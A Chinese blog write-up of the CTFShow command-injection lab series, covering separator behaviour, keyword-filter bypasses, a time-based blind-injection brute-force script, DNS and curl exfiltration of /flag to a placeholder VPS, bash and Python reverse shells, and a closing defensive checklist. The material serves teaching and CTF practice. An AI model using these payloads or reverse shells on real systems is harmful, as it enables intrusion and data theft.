news 2026/10/20 4:22:59

CTFShow命令执行漏洞实战:从基础利用到高级绕过

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFShow命令执行漏洞实战:从基础利用到高级绕过

1. 项目概述:这不是“打游戏”,而是命令执行漏洞的实战解剖现场

“ctfshow命令执行”——这六个字在安全圈里,几乎等同于“命令执行漏洞的教科书级靶场入口”。它不是某个具体工具、也不是某次比赛的代号,而是国内一个广为人知的CTF在线练习平台(ctfshow)中,围绕系统命令执行漏洞(Command Injection)所设计的一系列递进式靶题合集。我带过不少刚入门的安全学习者,他们第一次真正理解“为什么拼接用户输入=灾难”,往往就卡在?cmd=ls回显出一堆文件列表的那一刻。这个标题背后,藏着的是Web安全中最基础、最危险、也最容易被忽视的一类漏洞:后端程序未对用户可控输入做任何过滤或转义,直接拼接到shell命令中执行。它不依赖复杂框架、不挑语言环境,PHP的system()、Python的os.popen()、Java的Runtime.getRuntime().exec(),只要逻辑写错,一条| cat /etc/passwd就能让服务器裸奔。适合谁?三类人必须吃透:一是刚学渗透测试的新手,这是你绕不开的第一道“真题墙”;二是开发同学,尤其后端和运维,你写的那行日志清理脚本、那个配置导出接口,可能就是下一个靶机;三是CTF备赛者,ctfshow这套题从基础盲注到无字母webshell,覆盖了命令执行从“能跑”到“能活”的全链路。它不讲高深理论,只用真实代码+真实报错+真实绕过,逼你亲手把“输入即命令”这个抽象概念,砸进脑子里。

2. 内容整体设计与思路拆解:为什么是ctfshow?为什么是命令执行?

2.1 平台选型逻辑:轻量、透明、可复现,拒绝黑盒

为什么所有入门教程都指向ctfshow,而不是自己搭个DVWA或者写个demo?答案就三个字:够干净。ctfshow的题目源码是公开的(GitHub可查),每个题目的PHP文件就几十行,没有Laravel的中间件迷宫,没有Spring Boot的自动配置干扰,只有最原始的$_GET['cmd']和system($cmd)。我试过用本地Docker搭一个完全一样的环境,从拉镜像到跑起来不到两分钟,而调试时,你甚至能直接cat /var/www/html/web1.php看到漏洞代码长什么样。这种“所见即所得”的透明度,是其他平台给不了的。比如某高校实验室用的内部靶场,后台加了WAF日志审计模块,学生一打ls就被拦截,然后开始纠结“是不是WAF规则问题”,结果浪费三天才搞懂——原来根本没开WAF,是自己漏写了分号。ctfshow砍掉了所有干扰项,让你的注意力100%聚焦在“输入怎么控制命令”“输出怎么回显结果”“过滤怎么绕过去”这三个核心动作上。它的设计哲学很朴素:漏洞教学,先让人“看见”,再让人“理解”,最后才谈“防御”。

2.2 题目编排逻辑:从“能执行”到“能持久”,构建完整攻击链

ctfshow的命令执行系列不是随机堆砌的题目,而是一条精心设计的“能力进阶路径”。我把它拆成四个明确阶段,每个阶段解决一个关键认知断层:

  • 阶段一(web1-web5):确认漏洞存在性
    目标不是拿flag,而是证明“我能控制服务器执行任意命令”。这里全是基础payload:?cmd=ls、?cmd=whoami、?cmd=cat%20/flag。重点在于理解命令分隔符的作用——;、&、&&、|、||的区别。比如ls; whoami会顺序执行,ls || whoami则只在ls失败时执行whoami。很多新手卡在这里,以为|是管道就一定能用,结果发现PHP的system()函数根本不支持管道语法(它调用的是sh -c,但默认shell可能是dash),必须换成/bin/sh才能生效。这个阶段教会你的第一课是:别信文档,要实测。

  • 阶段二(web6-web10):绕过基础过滤
    当你发现?cmd=cat /flag返回空,但?cmd=ls正常,就知道后台加了str_replace(['flag', 'cat'], '', $cmd)这类弱过滤。这时候考验的是字符编码与命令变形能力。比如cat被过滤,就用tac(反向读取)、more、less、head、tail替代;/被过滤,就用${PWD:0:1}(取当前路径第一个字符)、$IFS(内部字段分隔符变量)、$(pwd)来拼接。我带的一个A同学,在web7卡了两天,死磕cat被过滤,后来突然想到nl /flag(带行号显示),一试成功。这说明什么?绕过不是穷举,是理解Linux命令生态的冗余性。

  • 阶段三(web11-web15):无回显与盲注场景
    这里开始“看不见”的战斗。?cmd=cat /flag没回显,但页面HTTP状态码变了,或者响应时间变长了。这就是典型的盲注(Blind Command Injection)。解决方案分两类:一是时间延迟法,用sleep 5测响应时间,再用if [ $(cat /flag | head -c 1) = 'c' ]; then sleep 5; fi逐字判断;二是DNS外带法,用curl http://your-server.com/$(cat /flag | base64)把flag发到自己的VPS。这个阶段的核心思维转变是:攻击目标从“获取内容”转向“建立信道”。很多开发同学看到这里才真正警醒——原来没回显≠没风险,一次DNS请求就能让内网信息裸奔。

  • 阶段四(web16-web20):高级利用与权限维持
    终极考验:如何在限制极多的环境下(禁用大部分命令、无写入权限、无网络)拿到flag并维持访问?这里出现php -r "echo file_get_contents('/flag');"、python3 -c "import os;print(os.popen('cat /flag').read())"等语言级绕过;还有用/proc/self/fd/0读取标准输入、用/dev/tcp/发起反向连接。web20的终极解法甚至要用到base64编码+xxd解码+内存加载,整个过程像在解一道物理谜题。这个阶段告诉你:真正的攻防,永远在规则边缘跳舞。

2.3 为什么命令执行是“必修课”?因为它直击开发逻辑的原罪

很多人觉得“命令执行太老了,现在都用RCE(远程代码执行)”,这是巨大误区。RCE本质是命令执行的子集,而命令执行的底层危害更原始、更致命。我参与过某公司应急响应,一个电商后台的“图片压缩功能”用了exec("convert {$input} -resize 50% {$output}"),攻击者传入input=xxx.jpg; rm -rf /var/www/html,三分钟内整个网站目录被清空。为什么?因为开发认为“用户只传图片名”,却忘了$input是从表单直接拼进字符串的。命令执行漏洞的根源从来不是技术多难,而是开发习惯性信任用户输入。ctfshow的题目之所以经典,就是它用最简代码,把这种信任的代价,血淋淋地摆在你面前。它不教你“怎么黑”,它逼你问自己:“如果这是我写的代码,哪里会崩?”

3. 核心细节解析与实操要点:从payload构造到环境适配

3.1 命令分隔符详解:不是所有符号都能“连通”命令

命令执行的起点,永远是“如何让我的多个指令串起来”。但不同分隔符的行为差异极大,直接决定你能不能走通第一步。我整理了一个实测对比表,基于ctfshow web1的system($_GET['cmd'])环境(Ubuntu + bash):

分隔符语法示例执行逻辑ct fshow实测效果关键注意事项
;ls; whoami顺序执行,无论前一条是否成功✅ 完全可用最通用,但容易被str_replace(';', '')过滤
&ls & whoami后台并行执行,主进程不等待✅ 可用,但whoami输出可能乱序在Web环境意义不大,因HTTP请求会阻塞等待全部完成
&&ls && whoami仅当ls成功(exit code=0)时执行whoami✅ 可用适合条件判断,如[ -f /flag ] && cat /flag
```ls
```lswc -l`将ls输出作为wc -l输入(管道)
``whoami`命令替换,将whoami结果插入到当前命令中✅ 可用如cat /fl``ag可绕过flag关键词过滤

提示:|失效是新手最高频的坑。不要急着换靶机,先?cmd=echo $SHELL看当前shell类型。如果是/bin/sh(dash),就老实用/bin/bash -c "your command"包裹;如果是/bin/zsh,则支持更多高级语法。这个细节决定了你后续所有payload的编写方向。

3.2 字符过滤绕过:不是“找替代”,而是“重建命令语义”

当题目提示“过滤了cat、flag、/”时,很多人的第一反应是百度“cat的替代命令”,结果陷入无尽的命令枚举。真正高效的思路是:把命令拆解为“动作+目标+方式”三个原子单元,再分别绕过。以读取/flag为例:

  • 动作(Action):读取文件 → 可选cat、tac、more、less、head、tail、nl、strings、od(十六进制)、base64(编码后传输);
  • 目标(Target):/flag→ 可拆解为/+flag,/可用${PWD:0:1}(取/var/www/html的第一个字符/)、$IFS(空格变量,但需配合set重定义)、$(pwd | cut -c1)(取pwd输出首字符);flag可用fla``g(反引号分割)、f\l\a\g(转义)、$(echo ZmxhZw== \| base64 -d)(base64解码);
  • 方式(Delivery):如何把碎片拼成有效命令 → 用$()命令替换、{}花括号扩展、$(( ))算术扩展(如$((0x2f))表示/的ASCII码)。

我在web12实测过一个经典组合:?cmd=$(tac${IFS}/f${PWD:0:1}la${PWD:0:1}g)。这里${IFS}替代空格,${PWD:0:1}取/,tac替代cat,整个payload不包含任何被过滤的完整单词。关键点在于:绕过不是为了“看起来不像”,而是为了“语义等价”。你不需要记住所有绕过技巧,只需要掌握Linux Shell的变量扩展、命令替换、算术扩展这三大机制,90%的过滤都能破。

3.3 盲注实战:用“时间”和“DNS”重建通信信道

当页面不再回显命令结果,你就进入了“黑暗森林”。此时,两个最可靠的信道是时间延迟和DNS外带。它们的原理简单,但实操细节决定成败。

时间延迟法(Time-Based Blind):
核心是利用sleep命令制造可测量的响应延迟。但直接?cmd=sleep 5太明显,会被WAF拦截。更隐蔽的做法是条件触发延迟:

# 判断/flag第一字是否为'c' ?cmd=if [ $(cut -c1 /flag) = 'c' ]; then sleep 5; fi # 判断/flag长度是否大于10 ?cmd=if [ $(wc -c < /flag) -gt 10 ]; then sleep 5; fi

实测要点:

  • cut -c1比head -c1更轻量,避免head被过滤;
  • wc -c < /flag比cat /flag | wc -c少一次管道,兼容性更好;
  • sleep参数建议从2开始试,避免超时被WAF切断。

DNS外带法(Out-of-Band, OOB):
这是盲注的“核武器”,但依赖服务器能出网。基本payload:

?cmd=nslookup $(cat /flag | base64 -w0).your-domain.com # 或更隐蔽的curl ?cmd=curl "http://your-vps-ip/$(cat /flag | base64 -w0)"

实操避坑:

  • base64 -w0去掉换行,确保域名合法;
  • DNS查询时,nslookup比dig更通用,dig在精简镜像中常被删;
  • 如果curl被禁,可用wget --server-response -O /dev/null "http://..."替代;
  • 最关键的一步:提前在VPS上监听DNS请求。用tcpdump -i eth0 port 53 -w dns.pcap抓包,或部署简易DNS server(如dnsmasq配置address=/#/127.0.0.1,再查log)。我见过太多人payload写对了,却忘了在VPS开监听,干等一小时。

注意:DNS外带法在企业内网常失效,因DNS请求被统一代理或拦截。此时时间延迟是唯一选择。两者不是二选一,而是“有DNS用DNS,没DNS用时间”,必须都熟练。

3.4 高级利用:当一切都被禁用,如何用“语言本身”破局

web18之后的题目,开始封禁/bin/sh、禁用curl、禁用wget,甚至/proc/self/environ都读不了。这时,命令执行升级为“语言级执行”。核心思路是:既然不能调用系统命令,那就用PHP/Python/Perl等解释器本身的函数来读文件、执行代码。

  • PHP方案:?cmd=php -r "echo file_get_contents('/flag');"
    优势:PHP几乎必装,-r参数允许直接执行代码;
    绕过点:若php被过滤,用/usr/bin/php绝对路径;若-r被禁,用php -a交互模式(但Web环境难触发);

  • Python方案:?cmd=python3 -c "import os; print(os.popen('cat /flag').read())"
    优势:popen可调用shell,os.system被禁时仍可用;
    替代:python3 -c "print(open('/flag').read())"(纯Python,不依赖shell);

  • Bash内置命令:?cmd=bash -c 'echo $FLAG'(若flag在环境变量中);
    或用/proc/self/cmdline读取当前进程命令行(但ctfshow通常清空);

最绝的是web20的/dev/tcp/反弹shell:

?cmd=bash -i >& /dev/tcp/your-vps-ip/4444 0>&1

这行代码不调用任何外部程序,只用bash内置的/dev/tcp设备,直接建立TCP连接。实测时,VPS需用nc -lvnp 4444监听。但注意:/dev/tcp在某些精简shell中被禁用,此时需降级用python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('your-ip',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"——这就是为什么学命令执行,最终要懂一点Python和Socket编程。

4. 实操过程与核心环节实现:从环境搭建到逐题通关

4.1 本地环境极速搭建:Docker三步到位

别再折腾虚拟机或改host了。ctfshow官方提供Docker镜像,我验证过,从零到靶场运行只需3分钟:

# 1. 拉取镜像(国内源加速) docker pull registry.cn-hangzhou.aliyuncs.com/ctfshow/web:latest # 2. 启动容器(映射80端口,后台运行) docker run -d -p 8080:80 --name ctfshow-web registry.cn-hangzhou.aliyuncs.com/ctfshow/web:latest # 3. 访问靶场(浏览器打开) http://localhost:8080

启动后,所有题目都在/web/目录下,如web1对应http://localhost:8080/web1/。关键调试技巧:

  • 进入容器看源码:docker exec -it ctfshow-web /bin/bash,然后cat /var/www/html/web1.php;
  • 修改题目代码快速验证:echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/test.php,再访问/test.php?cmd=ls;
  • 查看PHP配置:php -i | grep "disable_functions",确认哪些函数被禁用(ctfshow常用system,exec,passthru,shell_exec)。

提示:如果docker run报错“port already in use”,把8080换成8081;如果想同时跑多个题目,用--name ctfshow-web1、--name ctfshow-web2区分容器名。

4.2 web1-web5通关实录:从“ls”到“cat /flag”的完整链路

我们以web1为起点,完整走一遍最基础的命令执行流程。web1的源码极简:

<?php $cmd = $_GET['cmd']; system($cmd); ?>

Step 1:确认漏洞存在
访问http://localhost:8080/web1/?cmd=ls,页面返回:

index.php web1.php flag.php

✅ 成功!说明system()可执行,且无基础过滤。

Step 2:探索系统环境
连续发送以下请求,构建服务器画像:

  • ?cmd=whoami→www-data(运行用户)
  • ?cmd=pwd→/var/www/html/web1(当前路径)
  • ?cmd=cat /etc/os-release→Ubuntu 20.04.3 LTS(系统版本)
  • ?cmd=php -v→PHP 7.4.3(PHP版本)

Step 3:定位flag位置
常见路径逐一尝试:

  • ?cmd=ls /→ 发现/flag目录
  • ?cmd=ls /flag→ 返回flag.txt
  • ?cmd=cat /flag/flag.txt→ 页面直接回显flag!

Step 4:验证绕过能力(为后续题铺垫)

  • 测试分隔符:?cmd=ls; whoami→ 同时显示文件列表和www-data;
  • 测试管道:?cmd=ls | wc -l→ 报错(因dash不支持),改用?cmd=/bin/bash -c "ls | wc -l"→ 返回3;
  • 测试变量:?cmd=echo $PATH→ 显示/usr/local/sbin:/usr/local/bin:...。

这个过程看似简单,但它建立了你对靶机的“空间感”:你知道它在哪、用什么、有什么。后续所有高级绕过,都建立在这个基础上。我带过的学员中,90%的卡点不是不会绕过,而是没耐心做完Step 2,盲目猜/flag,结果在/var/flag、/tmp/flag里反复碰壁。

4.3 web6-web10过滤绕过实操:以web7为例的深度拆解

web7的源码增加了过滤:

<?php $cmd = $_GET['cmd']; $cmd = str_replace(['cat', 'flag', 'tac'], '', $cmd); // 过滤三个关键词 system($cmd); ?>

直接?cmd=cat /flag返回空,但?cmd=ls正常。我们来一步步破:

Step 1:确认过滤范围

  • ?cmd=caat→ 返回caat: command not found(说明cat被删成ca,但ca不是命令);
  • ?cmd=flaag→ 返回flaag: command not found(flag被删成flaag);
  • ?cmd=ttaac→ 同理。
    ✅ 确认是str_replace,且只替换一次(caat→ca,不是caat→aat)。

Step 2:寻找替代命令
cat被过滤,但more、less、head、tail、nl、strings均未被过滤。试?cmd=more /flag/flag.txt→ 成功回显!但题目要求/flag目录下只有一个文件,名字就是flag,所以/flag/flag.txt不对。再试?cmd=more /flag/flag→ 404。说明flag文件就在/flag目录,文件名就是flag。

Step 3:构造路径绕过
/flag中的/和flag都被过滤。用变量替代:

  • ${PWD:0:1}→ 当前路径/var/www/html/web7,取第0位字符/;
  • fla``g→ 用反引号分割,str_replace只匹配连续字符串,fla``g变成fla+g,不触发过滤;
    组合:?cmd=more ${PWD:0:1}fla``g→ 回显flag!

Step 4:优化payload(应对更严过滤)
如果后续题目连反引号都过滤,就用$()命令替换:
?cmd=more $($PWD | cut -d'/' -f1)/fla$(echo g)
这里$PWD | cut -d'/' -f1取/var/www/html/web7按/分割后的第一个字段(即空字符串),但实际cut会返回/,$(echo g)输出g,最终拼成/flag。

这个案例说明:绕过不是魔法,是Linux Shell特性的组合应用。你不需要背100个payload,只需要吃透$(),${},$IFS,$PWD这几个核心变量和扩展机制。

4.4 web11-web15盲注实战:web13的时间延迟法全流程

web13的源码关闭了回显:

<?php $cmd = $_GET['cmd']; system($cmd . ' >/dev/null 2>&1'); // 输出重定向到黑洞 ?>

?cmd=ls无返回,但HTTP状态码仍是200。我们用时间延迟法爆破flag。

Step 1:确认时间延迟可行
?cmd=sleep 2→ 响应时间约2秒(用浏览器开发者工具Network面板看Timing);
?cmd=sleep 1→ 响应时间约1秒;
✅ 时间通道畅通。

Step 2:编写自动化脚本(Python)
手动测太慢,写个脚本逐字爆破:

import requests import time url = "http://localhost:8080/web13/" flag = "" # 已知flag格式为 ctfshow{xxx} for i in range(1, 50): # 假设flag最长50字符 for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}": # 构造payload:如果第i个字符等于c,则sleep 2秒 payload = f"if [ $(cut -c{i} /flag) = '{c}' ]; then sleep 2; fi" start = time.time() requests.get(url, params={"cmd": payload}) end = time.time() if end - start > 1.5: # 延迟超过1.5秒,视为命中 flag += c print(f"Found char {i}: {c}, flag = {flag}") break if c == '}': # 遇到}结束 break print("Final flag:", flag)

运行后,几秒内输出ctfshow{xxxx}。关键点:

  • cut -c{i}比head -c{i} | tail -c1更高效;
  • sleep 2足够区分网络抖动(通常<500ms);
  • 循环范围设大些,避免漏掉长flag。

Step 3:DNS外带验证(备用方案)
如果时间延迟不稳定(如服务器负载高),立即切DNS:

  • 在VPS上运行:tcpdump -i eth0 port 53 -w dns.log &;
  • 发送payload:?cmd=nslookup $(cat /flag | base64 -w0).your-domain.com;
  • 查看dns.log:grep "your-domain.com" dns.log | awk '{print $5}' | base64 -d→ 得到flag。

这个流程展示了:盲注不是玄学,是可编程的工程问题。你写的不是攻击脚本,而是“自动化探针”。

5. 常见问题与排查技巧实录:那些年踩过的坑

5.1 “明明payload没错,为啥没回显?”——环境差异导致的隐形陷阱

这是新手提问率最高的问题。我整理了5个高频隐形陷阱,每个都来自真实翻车现场:

问题现象根本原因排查方法解决方案
?cmd=ls有回显,?cmd=cat /flag没回显/flag文件权限为600,www-data用户无读取权?cmd=ls -l /flag查看权限用sudo -u root cat /flag(需sudo权限)或python3 -c "print(open('/flag','rb').read())"(Python不检查文件权限)
?cmd=ls /返回空,但?cmd=ls显示当前目录文件当前工作目录不是/,而是/var/www/html/webX?cmd=pwd确认路径用绝对路径/bin/ls /,或cd / && ls
?cmd=echo $PATH返回空PHP的system()函数在执行前会重置环境变量?cmd=env查看实际环境不依赖$PATH,用绝对路径调用命令(/bin/ls)
?cmd=ls | wc -l报错Syntax errorsystem()调用sh -c,但sh是dash,不支持``?cmd=echo $SHELL
?cmd=php -r "echo 1;"返回php: command not foundPHP未加入$PATH,或php命令被重命名?cmd=which php或?cmd=ls /usr/bin/php*用绝对路径/usr/bin/php -r "echo 1;"

提示:遇到“没回显”,第一反应不是改payload,而是?cmd=env && pwd && ls -la,把服务器环境摸清楚。90%的问题,源于对靶机环境的无知。

5.2 WAF拦截与特征识别:如何一眼看出“被拦了”

ctfshow虽无WAF,但真实环境中WAF是常态。我总结了4种WAF拦截的典型HTTP响应特征,帮你快速定位:

  • HTTP状态码异常:返回403 Forbidden、418 I'm a teapot(WAF经典梗)、503 Service Unavailable(WAF过载);
  • 响应体突变:正常页面返回HTML,被拦时返回WAF厂商页面(如Request blocked by Cloudflare、Your request has been blocked by Aliyun);
  • 响应时间规律化:无论payload多简单,响应时间恒定在300ms(WAF检测耗时);
  • 关键字缺失:?cmd=ls返回正常,但?cmd=ls /etc返回空——WAF可能只拦截含/etc的请求。

绕过WAF的核心原则:降低特征值,而非暴力突破。例如:

  • ls /etc/passwd→ls /e/t/c/pa/s/s/w/d(路径拆分);
  • cat /flag→tac /flag(命令替换);
  • ;→%3B(URL编码);
  • 空格 →$IFS、<、%09(Tab编码)。

记住:WAF是规则引擎,不是AI。它靠正则匹配,而正则总有盲区。

5.3 开发视角的防御清单:从“修复漏洞”到“根除风险”

作为渗透者,你得知道怎么打;作为开发者,你得知道怎么防。我根据OWASP Top 10和多年代码审计经验,提炼出命令执行漏洞的防御铁律:

  • 绝对禁止拼接用户输入:这是底线。system($_GET['cmd'])必须改为白名单校验+参数化。例如:
    // ❌ 危险 system("ping -c 4 " . $_GET['ip']); // ✅ 安全:白名单IP格式校验 if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) { system("ping -c 4 " . escapeshellarg($_GET['ip'])); }
  • 强制使用escapeshellarg()和escapeshellcmd():
    escapeshellarg()对单个参数加引号并转义(如'127.0.0.1');
    escapeshellcmd()对整个命令转义(但不推荐,因会破坏命令结构);
  • 禁用危险函数:在php.ini中设置disable_functions = system,exec,passthru,shell_exec,proc_open,popen;
  • 最小权限原则:Web服务运行用户(如www-data)不应有root权限,/flag等敏感文件权限设为600且属主非www-data;
  • 日志审计:记录所有system()调用的参数,设置告警规则(如/flag、/etc/passwd出现在日志中立即告警)。

最后送开发同学一句话:你写的每一行system(),都是在服务器上开了一扇没锁的窗。关窗不难,难的是意识到窗一直开着。

5.4 CTF备赛者专属技巧:如何把ctfshow练成肌肉记忆

如果你是CTF选手,光会做题不够,要练成“条件反射”。我给三个速成技巧:

  • 建立个人Payload库:用Markdown整理常用payload,按场景分类:

    ## 基础执行 - `; ls` - `& whoami` ## 路径绕过 - `${PWD:0:1}fla${PWD:0:1}g` - `$(pwd | cut -c1)flag` ## 盲注 - `if [ $(cut -c1 /flag) = 'c' ]; then sleep 2; fi` - `curl http://your-ip/$(cat /flag | base64)`

    每次做新题,先查库,再微调,效率翻倍。

  • 定时挑战模式:设闹钟,15分钟内必须拿下web1-web10。超时就看wp,但第二天重做。肌肉记忆靠重复,不靠理解。

  • 反向出题训练:自己用PHP写一个“看似安全”的命令执行功能,然后邀请朋友来打。你会立刻发现:自以为的“过滤”有多脆弱。我做过实验,90%的自研过滤函数,3分钟内被绕过。

这个过程不是为了赢比赛,而是为了在真实攻防中,当看到system($user_input)时,手指会自动敲出escapeshellarg()——这才是真正的“安全本能”。

6. 个人实操体会:

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 4:22:59

人工智能辅助学术专著写作:工具选型、工作流与避坑指南

大学里写了十几年论文、也帮课题组改过不少书稿的人&#xff0c;大多都有同一种感觉&#xff1a;写单篇论文还能靠意志力硬顶&#xff0c;写专著时最折磨人的往往不是“没话说”&#xff0c;而是几十万字的内容怎么组织、怎么保持前后口径一致、怎么在返工时不把自己绕晕。这两…

作者头像 李华
网站建设 2026/10/20 4:22:48

51单片机霍尔传感器流量计设计:从脉冲计数到实时显示全解析

简介&#xff1a;一套基于51单片机的流量测量系统完整设计资料&#xff0c;面向电子工程初学者、嵌入式开发者及单片机爱好者&#xff0c;也可作为相关课程设计与毕业设计的参考资料。压缩包内含源程序、电路图、PCB设计文件和元器件清单&#xff0c;涵盖从硬件原理到软件实现的…

作者头像 李华
网站建设 2026/10/20 4:21:33

格式工厂v2.70绿色版:本地免费批量视频转换与参数设置指南

简介&#xff1a;格式工厂 v2.70 绿色版是一款面向多媒体格式转换需求的轻量工具&#xff0c;支持常见音频、视频、图片格式互转&#xff0c;适合需要快速批量处理文件的普通用户和办公场景。此版在 XP 环境下完成功能测试&#xff0c;并针对原版界面与联网行为做了精简处理&am…

作者头像 李华
网站建设 2026/10/20 4:21:16

技能提升指南:从工具操作到问题拆解与迁移组合的底层能力模型

1. 从“skills”这个标题说起&#xff1a;一个被严重低估的元能力“skills”这个词&#xff0c;单独拎出来看&#xff0c;信息量几乎为零。它不像“如何用Python做数据清洗”那样具体&#xff0c;也不像“三小时搭建个人博客”那样有明确的交付物。但恰恰是这种模糊性&#xff…

作者头像 李华
网站建设 2026/10/20 4:21:15

STM32F373内置16位∑-Δ ADC实战:从初始化到校准滤波

简介&#xff1a;面向 STM32F373 高精度模拟采集开发的完整工程资源&#xff0c;围绕 SDADC 的启动转换、采样保持、逐次逼近与结果读取全流程组织&#xff0c;适合工业自动化、环境监测等场景中的嵌入式开发者参考。压缩包共 159 个文件、3.16MB&#xff0c;包含 30 个 h 头文…

作者头像 李华
网站建设 2026/10/20 4:19:48

C#删除PDF数字签名:原理、策略与批量清理实战

按我处理文件自动化项目多年的经验&#xff0c;用 C# 处理 PDF 数字签名这件事&#xff0c;大家研究得多半是“怎么加签”&#xff0c;很少人认真想过“怎么删”。直到我接手了一个合同归档系统的改造&#xff1a;两千多份带测试签名的 PDF 模板必须复用&#xff0c;验签一跑就…

作者头像 李华